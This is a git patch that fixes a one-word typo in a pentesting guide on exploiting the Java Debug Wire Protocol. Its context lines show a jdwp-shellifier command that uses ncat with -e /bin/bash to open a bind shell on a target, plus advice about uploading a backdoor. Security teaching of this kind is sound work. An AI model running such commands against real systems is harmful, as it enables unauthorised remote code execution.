From 9f4b5f826002528f9852739cfecaf7e3a0498e94 Mon Sep 17 00:00:00 2001 From: JohLud Date: Sat, 2 Nov 2024 03:01:58 +0100 Subject: [PATCH] Fix typo pentesting-jdwp-java-debug-wire-protocol.md --- .../pentesting-jdwp-java-debug-wire-protocol.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index 63997d53e..3cbe1e78e 100644 --- a/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -35,7 +35,7 @@ The go-to tool is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Y ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` -I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable. +I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploit more **stable**. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable. ## More details